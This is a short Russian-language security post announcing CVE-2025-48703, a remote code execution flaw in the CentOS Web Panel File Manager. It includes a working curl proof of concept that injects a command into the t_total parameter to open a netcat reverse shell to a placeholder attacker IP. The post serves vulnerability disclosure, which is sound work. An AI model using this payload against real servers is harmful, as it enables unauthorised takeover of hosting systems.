🛡 CVE-2025-48703 - RCE in CentOS Web Panel File Manager module

RCE уязвимость приложения для управления серверами CentOS Web Panel
Проблема в функции acc=changePerm, где не производится должная проверка входных данных, что позволяет выполнить произвольный код в параметре t_total

❗️ Эту атаку можно выполнить с минимальной аутентификацией или в некоторых конфигурациях, с не аутентифицированным доступом.

🔗 Research

PoC:

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'

💻 Scanner

#cve #poc #centoswebpanel #web

✈️ Whitehat Lab 💬Chat